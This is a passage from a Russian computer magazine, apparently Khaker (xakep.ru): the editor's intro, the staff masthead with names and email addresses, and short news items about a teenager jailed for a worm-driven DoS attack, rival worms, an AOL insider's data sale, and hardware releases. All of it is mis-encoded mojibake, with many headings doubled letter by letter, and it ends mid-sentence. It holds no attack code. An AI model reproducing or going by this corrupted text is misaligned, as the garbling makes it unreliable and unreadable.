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IINNTTRROO::
ÎÎ ÷÷ååìì òòûû ïïîîääóóììààëë,, êêîîããääàà ââççÿÿëë ââ ððóóêêèè ýýòòîîòò ññååííòòÿÿááððüüññêêèèéé ííîî-
ììååðð ææóóððííààëëàà?? ÍÍààââååððííîîåå,, òòûû ïïîîääóóììààëë îî òòîîìì,, ññêêîîëëüüêêîî õõèèòòððûûõõ
ââççëëîîììîî-êêîîääèèííããîîââûûõõ èèääååéé òòûû ññììîîææååøøüü îîòòòòóóääàà ïïîî÷÷ååððïïííóóòòüü,, êêààêê
ððààññññëëààááèèøøüüññÿÿ êêððååààòòèèââîîìì,, àà ççààòòååìì,, ññ ííîîââûûììèè ññèèëëààììèè,, ïïîîããððóó-
ççèèøøüüññÿÿ ââ ííååääððûû ÞÞííèèêêññîîèèääàà?? ::)) ÀÀ ââîîòò óó ììååííÿÿ ññååííòòÿÿááððüü ààññññîîööèè-
èèððóóååòòññÿÿ ïïîî÷÷ååììóó-òòîî ññîî øøêêîîëëîîéé.. ÏÏååððââûûéé ððààçç �� ââ ïïååððââûûéé êêëëààññññ,,
ïïååððââûûéé ððààçç �� ââ ïïÿÿòòûûéé êêëëààññññ,, ïïååððââûûéé ððààçç �� ââ èèííññòòèèòòóóòò......èèííòòåå-
ððååññííûûåå ááûûëëèè îîùùóóùùååííèèÿÿ.. ÀÀ ååùùåå ññååííòòÿÿááððüü õõîîððîîøø òòååìì,, ÷÷òòîî ëëååòòîî
ååùùåå ôôîîððììààëëüüííîî ííåå êêîîíí÷÷èèëëîîññüü èè ííààññòòððîîååííèèåå ââññåå ååùùåå ââååññüüììàà
ããóóòò,, ïïîîýýòòîîììóó ââ óó÷÷ååááóó ïïððèèõõîîääèèòòññÿÿ ââõõîîääèèòòüü ääîîëëããîî èè òòÿÿããîîññòòííîî.. ÍÍîî
ýýòòîî ííèè÷÷ååããîî,, ââååääüü,, êêààêê ããîîââîîððèèòòññÿÿ,, óó÷÷èèòòüüññÿÿ ííèèêêîîããääàà ííåå ïïîîççääííîî ::))..
ÂÂ îîááùùååìì,, ññððîî÷÷ííîî ççààêêààíí÷÷èèââààéé ÷÷èèòòààòòüü ììîîéé ïïîîëëííîî÷÷ííûûéé ááððååää èè
ïïððèèññòòóóïïààéé êê ææóóððííààëëóó.. ÍÍàà÷÷ííèè ññîî ««ÂÂççëëîîììàà»»..

Àëåêñàíäð  ËËîçîâñêèé, ââûïóñêàþùèé ððåäàêòîð

//ÐÐÅÅÄÄÀÀÊÊÖÖÈÈßß

>>ÃÃëëààââííûûéé ððååääààêêòòîîðð

Èâàí «CuTTer» Ïåòðîâ
(cutter@real.xakep.ru)

>>ÂÂûûïïóóññêêààþþùùèèéé ððååääààêêòòîîðð

Àëåêñàíäð «Dr.Klouniz» Ëîçîâñêèé
(alexander@real.xakep.ru)

>>ÐÐååääààêêòòîîððûû ððóóááððèèêê

ÂÂÇÇËËÎÎÌÌ

Íèêèòà «Nikitos» Êèñëèöèí
(nikitoz@real.xakep.ru) 

PPCC__ZZOONNEE èè UUNNIITTSS

Àðòåì «b00b1ik» Àíèêèí
(b00b1ik@real.xakep.ru) 

ÑÑÖÖÅÅÍÍÀÀ

Îëåã «mindw0rk» ×åáåíååâ
(mindw0rk@real.xakep.ru) 

UUNNIIXXOOIIDD

Àíäðåé «Andrushock» Ìàòâååâ
(andrushock@real.xakep.ru)

ÊÊÎÎÄÄÈÈÍÍÃÃ

Íèêîëàé «GorluM» Àíäðååâ
(gorlum@real.xakep.ru)

ÈÈÌÌÏÏËËÀÀÍÍÒÒ

Àëåêñ Öåëûõ
(editor@technews.ru)

DDVVDD//CCDD

Èâàí «CuTTer» Ïåòðîâ
(cutter@real.xakep.ru)
ÂÂÈÈÄÄÅÅÎÎ ÏÏÎÎ ÂÂÇÇËËÎÎÌÌÓÓ

Îëåã «NSD» Òîëñòûõ
(nsd@nsd.ru) 
>>ËËèèòòååððààòòóóððííûûéé ððååääààêêòòîîðð

Àííà  Áîëüøîâà

//AARRTT

>>ÀÀððòò-ääèèððååêêòòîîðð
Êîíñòàíòèí Îáóõîâ
(obukhov@real.xakep.ru) 
>ÄÄèèççààééííååððûû
Èâàí Âàñèí 
(vasin@real.xakep.ru)
Íàòàëüÿ Æóêîâà

//IINNEETT

>>WWeebbBBoossss
Ñêâîðöîâà Àëåíà
(Alyona@real.xakep.ru)
>>ÐÐååääààêêòòîîðð ññààééòòàà
Ëåîíèä Áîãîëþáîâ
(xa@real.xakep.ru)

//ÐÐÅÅÊÊËËÀÀÌÌÀÀ

>>ÄÄèèððååêêòòîîðð ïïîî ððååêêëëààììåå ggaammeellaanndd
Èãîðü Ïèñêóíîâ
(igor@gameland.ru)

>> ÐÐóóêêîîââîîääèèòòååëëüü îîòòääååëëàà 
ððååêêëëààììûû ööèèôôððîîââîîéé ããððóóïïïïûû
Áàñîâà Îëüãà
(olga@gameland.ru)

>>ÌÌååííååääææååððûû îîòòääååëëàà
Åìåëüÿíöåâà Îëüãà
(olgaeml@gameland.ru)
Àëåõèíà Îêñàíà
(alekhina@gameland.ru)
Íàãàåâ Ñåðãåé
(nagaev@gameland.ru)
Ãîðÿ÷åâà Åâãåíèÿ
(goryacheva@gameland.ru)
>> ÒÒððààôôèèêê ììååííååääææååðð
Ìàðüÿ Àëåêñååâà
(alekseeva@gameland.ru)

//PPUUBBLLIISSHHIINNGG
>>ÈÈççääààòòååëëüü
Ñåðãåé Ïîêðîâñêèé 
(pokrovsky@gameland.ru)
>>ÓÓ÷÷ððååääèèòòååëëüü
ÎÎÎ «Ãåéì Ëýíä»
>>ÄÄèèððååêêòòîîðð
Äìèòðèé Àãàðóíîâ
(dmitri@gameland.ru)
>>ÔÔèèííààííññîîââûûéé ääèèððååêêòòîîðð
Áîðèñ Ñêâîðöîâ 
(boris@gameland.ru)

//ÎÎÏÏÒÒÎÎÂÂÀÀßß ÏÏÐÐÎÎÄÄÀÀÆÆÀÀ
>>ÄÄèèððååêêòòîîðð îîòòääååëëàà 
ääèèññòòððèèááóóööèèèè èè ììààððêêååòòèèííããàà
Âëàäèìèð Ñìèðíîâ
(vladimir@gameland.ru)
>>ÎÎïïòòîîââîîåå ððààññïïððîîññòòððààííååííèèåå 
Ñòåïàíîâ Àíäðåé
(andrey@gameland.ru)
>>ÑÑââÿÿççüü ññ ððååããèèîîííààììèè 
Íàñåäêèí Àíäðåé
(nasedkin@gameland.ru)
>>ÏÏîîääïïèèññêêàà
Ïîïîâ Àëåêñåé
(popov@gameland.ru)
>>PPRR - ßíà Àãàðóíîâà
òåë.:  (095) 935.70.34
ôàêñ: (095) 780.88.24

>> ÃÃÎÎÐÐßß××ÀÀßß ËËÈÈÍÍÈÈßß ÏÏÎÎ
ÏÏÎÎÄÄÏÏÈÈÑÑÊÊÅÅ
òåë.: 8 (800) 200.3.999
Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè

>> ÄÄËËßß ÏÏÈÈÑÑÅÅÌÌ
101000, Ìîñêâà, 
Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð
magazine@real.xakep.ru

hhttttpp::////wwwwww..xxaakkeepp..rruu

Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå
Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì
ïå÷àòè, òåëåðàäèîâåùàíèþ è

ñðåäñòâàì ìàññîâûõ 
êîììóíèêàöèé ÏÏÈÈ ßß  7777-1111880022 
îò 14 ôåâðàëÿ 2002 ã.
Îòïå÷àòàíî â òèïîãðàôèè 
«SSccaannWWeebb», Ôèíëÿíäèÿ
Òèðàæ 9922 000000 ýêçåìïëÿðîâ. 
Öåíà äîãîâîðíàÿ.
Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî
ñîâïàäàåò ñ ìíåíèåì àâòîðîâ.

Ðåäàêöèÿ óóâåäîìëÿåò: ââñå ììà-
òåðèàëû ââ ííîìåðå ïïðåäîñòàâ-
ëÿþòñÿ êêàê èèíôîðìàöèÿ 
ê ððàçìûøëåíèþ. 
Ëèöà, èèñïîëüçóþùèå ääàííóþ
èíôîðìàöèþ ââ ïïðîòèâîçàêîí-
íûõ ööåëÿõ, ììîãóò ááûòü ïïðèâ-
ëå÷åíû êê îîòâåòñòâåííîñòè.
Ðåäàêöèÿ ââ ýýòèõ ññëó÷àÿõ îîòâå-
òñòâåííîñòè ííå ííåñåò.

Ðåäàêöèÿ íå íåñåò îòâåòñòâåí-
íîñòè çà ñîäåðæàíèå ðåêëàìíûõ
îáúÿâëåíèé â íîìåðå. Çà ïåðåïå-
÷àòêó íàøèõ ìàòåðèàëîâ áåç
ñïðîñà � ïðåñëåäóåì.

ContenT
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ÊÐÎÑÑÎÂÊÈ 
ÇÀ ÂÇËÎÌ

Â ÑØÀ àðåñòîâàëè ñåìíàäöàòèëåòíåãî õàêåðà ïî èìåíè Æàñìèí Ñèíõ. Ïà-
ðåíü ïîïàëñÿ çà ðàñïðîñòðàíåíèå ÷åðâÿ÷êà, áåðóùåãî ïîä êîíòðîëü êîìïü-
þòåðû òûñÿ÷ þçåðîâ è èñïîëüçóþùåãî èõ äëÿ àòàêè íà îïðåäåëåííûå ñàé-
òû. Ïîäîáíîå óæå äàâíî ñòàëî áàíàëüíîñòüþ è ïðîèñõîäèò âåçäå, îò Êåð-
÷è äî Èíäîêèòàÿ. Èíòåðåñíî òî, ÷òî çà ïðîâåäåíèå DoS-àòàêè íà èíòåðíåò-
ìàãàçèíû Jersey-Joe.com è Distant Replays, òîðãóþùèå ñïîðòèâíûì áàðàõ-
ëîì, íàøåìó ãåðîþ ïîîáåùàëè â íàãðàäó� òðè ïàðû êðîññîâîê è êðóòûå
÷àñû. Õàêåð îêàçàëñÿ íå ñàìîé âûñîêîé êâàëèôèêàöèè. È, õîòü è âûïîë-
íèë çàêàç, íî íàñëåäèë âåçäå, ãäå òîëüêî ìîæíî. Â òîì ÷èñëå çàñâåòèë
ñâîé ðàáî÷èé ïî÷òîâûé ÿùèê, ÷åðåç êîòîðûé íà íåãî è âûøëè ôåäåðàëû.
Êîãäà þíöà ñ öâåòî÷íûì èìåíåì ñòàëè ðàññïðàøèâàòü â îòäåëåíèè, ìîë-
÷àòü îí íå ñòàë, è áûñòðî âûäàë èìÿ ñâîåãî çàêàç÷èêà. Îêàçàëñÿ èì ïðèÿ-
òåëü Ñèíõà � 18-ëåòíèé Äæåéñîí Àðàáî, çàíèìàþùèéñÿ ïðîäàæåé ñïîð-
òèâíîé îäåæäû, è ðåøèâøèé ñ ïîìîùüþ õàêåðà óñòðàíèòü êîíêóðåíòîâ.
Íåäàâíî íàä Æàñìèíîì ñîñòîÿëñÿ ñóä, íà êîòîðîì åìó ïðèïàÿëè 5 ëåò
òþðüìû è 35 òûñÿ÷ äîëëàðîâ � èõ ïðåäñòîèò âûïëàòèòü ïîñòðàäàâøèì
êîìïàíèÿì. Ìîæíî ñêàçàòü, ïàðíþ ïîâåçëî, òàê êàê ñóä áûë ðåøèòåëü-
íî íàñòðîåí ïðèïàÿòü ïàðíþ  20 ëåò  òþðüìû.

ÂÎÉÍÀ ÂÈÐÓÑÎÂ
Êîìïüþòåðíîé çàðàçû â Ñåòè ðàç-
âåëîñü óæå ñòîëüêî, ÷òî íà âñåõ íå
õâàòàåò êîìïîâ. Ïîýòîìó â ïîñëåä-
íåå âðåìÿ â êîìïüþòåðíîì ìèðå
íàáëþäàåòñÿ èíòåðåñíîå ÿâëå-
íèå � âîéíà âèðóñîâ. Âèðóñìåé-
êåðû íûí÷å íå æåëàþò äåëèòü
æåðòâ ñî ñâîèìè êîëëåãàìè, è
âñòðàèâàþò â ñâîè òâîðåíèÿ àíòè-
âèðóñíûå ôóíêöèè, êîòîðûå óäà-
ëÿþò ÷óæèå âèðè ñ çàðàæåííîãî
êîìïüþòåðà. Ïðèìåðîì òîìó ìî-
æåò ñòàòü íåäàâíÿÿ ýïèäåìèÿ âèðÿ

Zotob, êîòîðûé íàâåë øîðîõó ñðåäè êðóïíûõ êîìïàíèé, òàêèõ êàê èçäà-
òåëüñêèé äîì Financial Times, òåëåêàíàëû ABC è CNN, ìàøèíîñòðîè-
òåëüíàÿ êîìïàíàÿ Caterpillar. Âñêîðå ïîñëå ýòîãî âèðóñà, âûøëà çâåðóø-
êà îò äðóãîãî àâòîðà � Bozori. Ýòîò âèðóñ òîæå ðàñïðîñòðàíÿåòñÿ â ñèñ-
òåìàõ Windows 2000, èñïîëüçóÿ òó æå äûðêó, íî ïðè ïîïàäàíèè íà óÿç-
âèìûé êîìïüþòåð, ñòèðàåò Zotob è çàíèìàåò åãî ìåñòî. Security-àíàëè-
òèêè îáåñïîêîåíû ýòèì ÿâëåíèåì, è èìåþò ìðà÷íîå ïðåä÷óâñòâèå, ÷òî
íè÷åì õîðîøèì ýòî íå çàêîí÷èòñÿ. À Microsoft ïðèçûâàåò ðåãóëÿðíî îá-
íîâëÿòü àíòèâèðóñû è íå çàáûâàòü êà÷àòü ïàò÷è.

ÐÀÑÊÀßÍÈÅ 
ÑÎÒÐÓÄÍÈÊÀ AOL

Â ïðîøëîì ìåñÿöå ñîñ-
òîÿëñÿ ñóä ïî äåëó áûâ-
øåãî ñîòðóäíèêà êîì-
ïàíèè America Online
Äæåéñîíà Ñìýòåðñà.
Â 2004 ã. ýòîò 25-ëåò-
íèé ïðîãðàììèñò áûë
óâîëåí çà êàêèå-òî íåç-
íà÷èòåëüíûå ïðåãðå-
øåíèÿ, íî òàê ïðîñòî
óõîäèòü ïàðåíü íå ñî-
áèðàëñÿ. Äîãîâîðèâ-

øèñü ñ âëàäåëüöåì îôôøîðíîãî èãðîâîãî ñàéòà èç Ëàñ-Âåãàñà, Äæåé-
ñîí âîñïîëüçîâàëñÿ àêêàóíòîì ñâîåãî áûâøåãî êîëëåãè èç AOL è, ïðî-
íèêíóâ â ñèñòåìó, ñêà÷àë áàçó äàííûõ î âñåõ ïîëüçîâàòåëÿõ ïðîâàéäå-
ðà. Âñåãî 92 ìèëëèîíà ïåðñîíàëüíûõ äàííûõ, âêëþ÷àÿ åìåéëû è èìåíà.
Ñìýòåðñà äîâîëüíî áûñòðî íàøëè, è â òå÷åíèå ãîäà øëî ñóäåáíîå ðàç-
áèðàòåëüñòâî, êîòîðîå çàêîí÷èëîñü, êàê ÿ óæå ñêàçàë, ìåñÿö íàçàä. Âñå
ýòî âðåìÿ âîðèøêà íå îòðèöàë ñâîåé âèíû, à íà ñóäå äàæå ðàñêàÿëñÿ è
èçâèíèëñÿ ïåðåä ïîñòðàäàâøèìè. Íî ïîåçä óæå óøåë, à ïðîäàííàÿ çà 30
òûñÿ÷ áàêñîâ áàçà äàííûõ áûëà èñïîëüçîâàíà äëÿ ðàññûëêè 7 ìèëëèàð-
äîâ ñïàììåðñêèõ ïèñåì. Ñóäüÿ ïðèãîâîðèë Äæýéñîíà Ñìýòåðñà ê 15 ìå-
ñÿöàì òþðüìû.

GOOGLE ÃÐÎÇÈÒ 
ÍÀÊÐÛÒÜ ÑÅÒÜÞ
ÂÅÑÜ ÌÈÐ
Â ñåòè ïîÿâèëàñü èíôîðìàöèÿ î òîì, ÷òî êîìïàíèÿ Google íàìåðå-
âàåòñÿ ïîñòðîèòü â ÑØÀ øèðîêîïîëîñíóþ ñåòü ñ áåñïëàòíûì âûõî-
äîì â èíåò. Îêàçàëîñü, ÷òî Google óæå äàâíî ñêóïàåò íåèñïîëüçóå-
ìûå ó÷àñòêè ñ ïðîëîæåííûì â íèõ îïòîâîëîêíîì, à òàêæå ïðèîáðå-
ëà áûñòðûå êàíàëû, ñâÿçûâàþùèå êðóïíûå àìåðèêàíñêèå ãîðîäà.
Íè îäèí ïðîâàéäåð â èñòîðèè åùå íå ïðîâîäèë ñòîëü ìàñøòàáíóþ
àêöèþ ïî ïîäêëþ÷åíèþ þçåðîâ, è, ó÷èòûâàÿ òî, ÷òî GoogleNet áóäåò
áåñïëàòíîé äëÿ âñåõ, ìíîãèì êîììåð÷åñêèì ISP'àì ÑØÀ ãðîçèò áàíê-
ðîòñòâî. Åñëè, êîíå÷íî, ãóãëó óäàñòñÿ âîïëîòèòü ïðîåêò â æèçíü. Âåäü
äåíåã íà ýòî ïðèäåòñÿ âáóõàòü íåìàëî, íî àâòîðû ïîïóëÿðíåéøåãî ïîèñ-
êîâèêà íàìåðåíû îòáèòü èõ ðåêëàìîé. Ê òîìó æå, èìåÿ ñîáñòâåííûå êà-
íàëû, ìîæíî áóäåò ñèëüíî ñýêîíîìèòü íà òðàôèêå ïîñëå ââåäåíèÿ ñåòå-

âûõ ìóëüòèìåäèéíûõ
ñåðâèñîâ.
×òî âûèãðàåò îò ýòèõ
ãðàíäèîçíûõ ïëàíîâ
ïðîñòîé þçåð? Áåñï-
ëàòíûé áûñòðûé èí-
òåðíåò � ýòî, êîíå÷íî,
çäîðîâî, îñîáåííî äëÿ
ðóññêèõ ñòóäåíòîâ. Íî,
åñëè Google ñòàíåò ìè-
ðîâûì ìîíîïîëèñòîì â
îáëàñòè ñåòåâûõ óñëóã,
íèêòî íå çíàåò, ê ÷åìó
ýòî ïðèâåäåò. Ìîíîïî-
ëèÿ íèêîãäà äî äîáðà
íå äîâîäèëà.
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CREATIVE X-FI 
ÏÎ×ÒÈ ÇÄÅÑÜ

Âîçðàäóéñÿ, ìåëîìàí! Êîìïàíèÿ
Creative, êîòîðàÿ âûïóñêàåò ìàññó
ïëååðîâ, êîëîíîê è ïðî÷åé àóäèî-
ïðîäóêöèè, âêëþ÷àÿ âñåì èçâåñò-
íûå çâóêîâûå áëàñòåðû, âûïóñêà-
åò ïëàòó Sound Blaster íà íîâîì
çâóêîâîì ÷èïå Creative X-Fi, êîòî-
ðàÿ âûéäåò óæå îñåíüþ! Îíà îáëà-
äàåò òàêèìè âûäàþùèìèñÿ õàðàê-
òåðèñòèêàìè, êàê ñîîòíîøåíèå
ñèãíàë-øóì 116 äÁ, 51,1 ìèëëèîíà

òðàíçèñòîðîâ è 4096 àóäèîêàíàëîâ. Êðîìå ýòîãî ïîääåðæèâàåòñÿ íîâàÿ
âåðñèÿ òåõíîëîãèè 3D-çâó÷àíèÿ EAX, âèðòóàëüíûé îáúåìíûé çâóê (ýòî
êîãäà äâóõêàíàëüíàÿ êîìïîçèöèÿ ïðîèãðûâàåòñÿ íà ìíîãîêàíàëüíîé
ñèñòåìå, çâó÷à òàê, ñëîâíî îíà äåéñòâèòåëüíî îáúåìíàÿ), çàïèñü 24-ðàç-
ðÿäíîãî çâóêà ñ ÷àñòîòîé äî 96 êÃö, ïðèìåíÿÿ ASIO 2.0. Ïîñòàâëÿòüñÿ íà
ðûíîê áóäåò ÷åòûðå ðàçíûõ âàðèàíòà ïëàòû, êîòîðûå áóäóò ðàçëè÷àòü-
ñÿ ñâîåé êîìïëåêòàöèåé, òåõíè÷åñêèìè õàðàêòåðèñòèêàìè è, ñîîòâåò-
ñòâåííî, öåíîé.

SAMSUNG 
ÏÐÎÆÆÅÒ ÂÑÅ

Åñëè òû âñå åùå íå ìîæåøü îïðåäåëèòüñÿ, êàêèì
ôîðìàòîì DVD ïîëüçîâàòüñÿ, îòäàòü ïðåäïî÷òå-
íèå «+» èëè «-», òî íîâèíêà îò êîìïàíèè Samsung
ñïàñåò òåáÿ. Ýòî âíåøíèé DVD-ïðèâîä Samsung
WriteMaster SE-W164C, êîòîðûé çíàåò âñå äèñêè.
Îí çàïèñûâàåò DVD+/-R íà ñêîðîñòè äî 16õ,
DVD+RW � 8õ è DVD-RW � 6õ, à  ïîääåðæêà
äâóõñëîéíûõ DVD-äèñêîâ îáîèõ ñòàíäàðòîâ
(DVD+/-R) ïîçâîëèò òåáå õðàíèòü äî 8,5 Ãáàéò äàí-

íûõ íà îäíîì äèñêå. Ìàêñèìàëüíàÿ ñêîðîñòü çàïèñè DVD+R DL � 5-êðàòíàÿ,
à DVD-R DL � 4-êðàòíàÿ. Äëÿ óëó÷øåíèÿ êà÷åñòâà ðàáîòû è çàïèñè èñïîëü-
çóåòñÿ ìàññà ôèðìåííûõ òåõíîëîãèé. Ýòî SAT (Speed Adjustment
Technology, àâòîîïðåäåëåíèå ñêîðîñòè â çàâèñèìîñòè îò êà÷åñòâà äèñêà),
TAC (íàäåæíàÿ çàïèñü ïóòåì èçìåíåíèÿ íàïðàâëåíèÿ ëó÷à), Double OPC
(Optimum Power Control, êîíòðîëü óðîâíÿ ìîùíîñòè ëàçåðà ïî âíåøíåé è
âíóòðåííåé ñòîðîíàì äèñêà), òåõíîëîãèÿ çàùèòû áóôåðà îò îïóñòîøåíèÿ
(Buffer Under Run Free Technology îáåñïå÷èâàåò ñòàáèëüíóþ çàïèñü íà âûñî-
êîé ñêîðîñòè), à Magic Speed è ABS (Automatic Ball Balancing System) ñíèæà-
þò óðîâåíü øóìà è âèáðàöèè.
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] ÊÀÁÈÍÓ ÝÊÈÏÀÆÀ
BOEING 787 ÎÑÍÀÑÒßÒ
ÈÍÍÎÂÀÖÈÎÍÍÛÌ
ÎÁÎÐÓÄÎÂÀÍÈÅÌ

Êîìïàíèÿ Boeing ïðåäñòàâèëà ìèðó êàáèíó ýêèïàæà ñâîåãî íîâåéøåãî
ëàéíåðà Boeing 787 DreamLiner, â êàáèíå êîòîðîãî ðàñïîëàãàþòñÿ 5 ìî-
íèòîðîâ çíà÷èòåëüíî áîëüøåãî ðàçìåðà, ÷åì èñïîëüçóåìûå ðàíåå �
30,5 ñì õ 23,1 ñì. Îäíî èç ãëàâíûõ íîâîââåäåíèé � äâîéíûå èíäèêàòî-
ðû íà ëîáîâîì ñòåêëå è êîìïëåêò ëåòíîé äîêóìåíòàöèè â ýëåêòðîííîì
ôîðìàòå. Èíäèêàòîð ïîçâîëÿåò ïèëîòó âèäåòü âñþ íåîáõîäèìóþ èí-
ôîðìàöèþ ïðÿìî íà ñòåêëå àâèàëàéíåðà íà óðîâíå ãëàç è íå îòâëå-
êàòüñÿ îò ïðîöåññà ïèëîòàæà. Â êîìïëåêò ëåòíîé èíôîðìàöèè âõîäÿò
êàðòû, ðóêîâîäñòâà, ñõåìû è ïðî÷àÿ èíôîðìàöèÿ, íàïðèìåð òàêàÿ, êàê
ýëåêòðîííûå êàðòû àýðîïîðòîâ, ÷òî ïîçâîëÿåò ïîâûñèòü áåçîïàñíîñòü
ïðè óïðàâëåíèè ñàìîëåòîì. Êðîìå òîãî, â êàáèíå óñòàíîâëåí èíäèêà-
òîð îáñòàíîâêè â âåðòèêàëüíîì ïðîñòðàíñòâå, ÷òî ïîçâîëÿåò ïèëîòàì
âèäåòü êîíòóð çåìíîé ïîâåðõíîñòè ïåðåä àâèàëàéíåðîì. ×òî ñàìîå èí-
òåðåñíîå, êàáèíà ýêèïàæà Boeing 787 ïðàêòè÷åñêè íå îòëè÷àåòñÿ îò êà-
áèíû Boeing 777 � ýòî ïîçâîëèò àâèàêîìïàíèÿì íå òðàòèòü âðåìÿ è
ñðåäñòâà íà ïåðåïîäãîòîâêó ÷ëåíîâ ýêèïàæà.

ÕÎÌßÊ-ÁÀÒÀÐÅÉÊÀ
Ïèòåð Ýø � øåñòíàäöàòèëåòíèé
áðèòàíñêèé ïîäðîñòîê èç Ëîóôîð-
äà � èçîáðåë âåñüìà èíòåðåñíûé
ñïîñîá çàðÿæàòü àêêóìóëÿòîðû
ìîáèëüíîãî òåëåôîíà ïðè ïîìîùè
ñâîåãî äîìàøíåãî  æèâîòíîãî �
õîìÿêà ïî êëè÷êå Ýëâèñ.
Áåãàÿ â ñâîåì êîëåñå, õîìÿ÷îê
çàðÿæàåò ìîáèëüíûé Ïèòåðà.
Âñå äåëî â òîì, ÷òî Ýëâèñ � âå-
ëèêèé íåïîñåäà è ñïîñîáåí ÷àñà-
ìè áåãàòü âíóòðè ñâîåãî êîëåñà.
Ïðè÷åì äåëàòü ýòî õîìÿê áîëü-
øå âñåãî ëþáèò íî÷üþ. Ýòî
î÷åíü ìåøàëî Ñàðå, ñåñòðå Ïè-
òåðà, è îíà ïîñòîÿííî æàëîâà-
ëàñü íà ïîâåäåíèå Ýëâèñà.
Èìåííî ïîñëå ïîñòîÿííûõ æàëîá
Ñàðû Ïèòåðó ïðèøëî â ãîëîâó
ïîëó÷àòü âûãîäó èç çàòðà÷èâàå-

ìîé âïóñòóþ ýíåðãèè ñâîåãî ïèòîìöà. Îí ïîäêëþ÷èë ê êîëåñó ýëåêò-
ðîãåíåðàòîð, ñâÿçàííûé ñ çàðÿäíûì óñòðîéñòâîì äëÿ ìîáèëüíîãî
òåëåôîíà. Ïðè ýòîì äâå ìèíóòû áåãà õîìÿêà ïî êîëåñó ïîçâîëÿþò
ïîäçàðÿäèòü àêêóìóëÿòîðû íà ïîë÷àñà ðàçãîâîðîâ. Òàêîé ýêçîòè-
÷åñêèé çàðÿäíèê, êîòîðûé íå ïðè÷èíÿåò âðåäà îêðóæàþùåé ñðåäå,
Ïèòåð Ýø ïðåäñòàâèë â êà÷åñòâå ÷àñòè ñâîåãî íàó÷íîãî ïðîåêòà
äëÿ ïîëó÷åíèÿ ñåðòèôèêàòà î ñðåäíåì îáðàçîâàíèè GCSE (General
Certificate of Secondary Education).

KINGSTON ÂÑÏÛÕÍÓË

Íàâåðíîå, ëþáîé ïîëüçîâàòåëü çíàåò ýòó êîìïàíèþ è òå ìîäóëè îïå-
ðàòèâíîé ïàìÿòè, êîòîðûå îíà âûïóñêàåò. Íî íîìåíêëàòóðà åå èçäå-
ëèé ýòèì íå îãðàíè÷èâàåòñÿ, Kingston âûïóñêàåò åùå è ôëåø-äðàéâû
ñåìåéñòâà DataTraveler. Ýòà ëèíåéêà íåäàâíî ïîïîëíèëàñü óñòðîé-
ñòâîì Data Traveler II Plus Migo Edition. Ýòî êîìïàêòíîå óñòðîéñòâî îñ-
íàùåíî èíòåðôåéñîì USB 2.0, èìååò ñòðîãèé äèçàéí è íåáîëüøèå ðàç-
ìåðû (67,7õ20,8õ9 ìì). Îáúåì ïàìÿòè âàðüèðóåòñÿ îò 256 Ìá äî 2 Ãá,
ðàáîòàòü ñ íèì ìîæíî ïðè òåìïåðàòóðå îò 0 äî 60 ãðàäóñîâ, ñîõðàí-
íîñòü äàííûõ ãàðàíòèðóåòñÿ â òå÷åíèå 10 ëåò. Âòîðàÿ ÷àñòü íàçâàíèÿ
(Migo Edition) íåñåò â ñåáå ãëóáîêèé ñìûñë. Â êîìïëåêò ïîñòàâêè
ôëåøêè âõîäÿò óòèëèòû PowerHouse Migo, êîòîðûå ïîçâîëÿþò ñîõðà-
íÿòü íà Data Traveler ýëåêòðîííûå ïèñüìà, íàñòðîéêè áðàóçåðà è ìíî-
ãîå  äðóãîå. Åñëè òû äîâåðÿåøü áðåíäó Kingston, âñå ÎÇÓ â òâîåì
êîìïüþòåðå èìåííî ýòîé ìàðêè, òî, íàâåðíîå, òû íå îòêàæåøüñÿ è îò
ôëåøêè ýòîé êîìïàíèè. 

ÓÍÈÂÅÐÑÀËÜÍÛÉ
ÏÐÈÂÎÄ ASUS
×òî äåëàòü ðÿäîâîìó ïîëüçîâàòåëþ, êîãäà ðàçëè÷íûå êîìïàíèè ñòà-
ðàþòñÿ ïðîäâèíóòü ñâîé ôîðìàò DVD? Íå ïîëüçîâàòüñÿ òàêèìè äèñ-
êàìè, ïîêà êîìïüþòåðíûå ãèãàíòû íå ïðèäóò ê ñîãëàñèþ? Íåò! Ëó÷øå
ïðèîáðåñòè óíèâåðñàëüíûé ïðèâîä, ðàáîòàþùèé ñî âñåìè ôîðìàòà-
ìè äèñêîâ. Íàïðèìåð, òàêîé, êàê ASUS DRW-1608P2, ïîääåðæèâàþ-
ùèé çàïèñü íà äâóõñëîéíûå äèñêè DVD+/-R ñî ñêîðîñòüþ  8X è íà
äèñêè DVD+/- ñî ñêîðîñòüþ 16X. Îí òàêæå ïîääåðæèâàåò ñëåäóþùèå
ôîðìàòû: DVD-RAM ñî ñêîðîñòüþ 2X read, DVD-Rewrite � 6X,
DVD+Rewrite � 8X, DVD-ROM � 16X, CD-Write � 40X, CD-Rewrite �
32X è CD-ROM � 40X. 
Â ýòîì ïðèâîäå, èìåþùåì òðàäèöèîííûé äëÿ òàêèõ óñòðîéñòâ âíåø-
íèé âèä, ïðèìåíÿþòñÿ ñëåäóþùèå ôèðìåííûå òåõíîëîãèè ASUS.
Ñèñòåìà FlextraLink ïðåäîòâðàùàåò îøèáêè, ñâÿçàííûå ñ íåäîçàãðóç-
êîé áóôåðà, è èñêëþ÷àåò âîçìîæíîñòü ïîð÷è äèñêîâ, FlextraSpeed,
êîòîðàÿ íåïðåðûâíî êîíòðîëèðóåò íîñèòåëè è óñòàíàâëèâàåò îïòè-
ìàëüíûå ñêîðîñòè çàïèñè, è ñèñòåìà äâîéíîé äèíàìè÷åñêîé ïîäâåñ-
êè DDSS II, ïðåäíàçíà÷åííàÿ äëÿ ñâåäåíèÿ ê ìèíèìóìó âèáðàöèè, âû-
çûâàåìîé ìîòîðîì îïòè÷åñêîãî ïðèâîäà è ðåçîíàíñîì ìåæäó ïðèâî-
äîì è êîðïóñîì êîìïüþòåðà.
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] MACOS ÍÀ PC: ÌÈÔ
ÈËÈ ÐÅÀËÜÍÎÑÒÜ?

Äîëãîå âðåìÿ îïåðàöèîíêà MacOS áûëà äîñòîÿíèåì òîëüêî ïîëüçîâà-
òåëåé êîìïüþòåðîâ Apple. Íî, ñóäÿ ïî âñåìó, î÷åíü ñêîðî âñå èçìåíèò-
ñÿ, è ìû ñ òîáîé ñìîæåì ïîùóïàòü îñü íà ñâîèõ ïèñþêàõ. Âîîáùå, ðàç-
ðàáîòêà PC-âåðñèè MacOS âåäåòñÿ ñ 2000 ãîäà � ñèñòåìà áóäåò ïîñ-
